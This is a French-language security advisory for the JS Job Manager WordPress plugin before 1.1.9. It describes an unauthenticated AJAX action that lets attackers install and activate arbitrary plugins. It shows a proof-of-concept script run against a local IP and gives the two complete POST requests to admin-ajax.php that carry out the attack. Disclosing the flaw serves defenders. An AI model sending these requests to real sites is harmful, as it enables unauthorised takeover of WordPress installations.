
JS Job Manager < 1.1.9 - Installation/Activation arbitraire de plugin sans authentification
JS Job Manager < 1.1.9 - Installation/Activation arbitraire de plugin sans authentification
L'action AJAX jsjobs_ajax du plugin, disponible pour les utilisateurs authentifiés comme non authentifiés, ne dispose pas de contrôles d'autorisation et de vérifications CSRF appropriés, en particulier lors de l'utilisation de installPluginFromAjax et activatePluginFromAjax, ce qui pourrait permettre à des attaquants non authentifiés d'installer des plugins arbitraires depuis le référentiel WordPress et de les activer (avec certaines limitations).
Il n'y a aucun contrôle sur la version du plugin, donc il installera la dernière version du plugin.
usage: js-jobs.py [-h] --url URL --slug SLUG
js-jobs.py: error: the following arguments are required: --url/-u, --slug/-s
$ python3 js-jobs.py --url http://192.168.1.131:5555 -s woocommerce
Plugin has been Downloaded.
Plugin has been downloaded and is on the server.
Plugin has been activated / activated.
Pour installer un plugin :
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Connection: close
action=jsjobs_ajax&task=installPluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>
Pour activer un plugin (il y a une limitation ici, car le plugin doit avoir le fichier /.php, sinon il ne sera pas activé) :
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 78
Connection: close
action=jsjobs_ajax&task=activatePluginFromAjax&jsjobsme=jsjobs&pluginslug=<slug>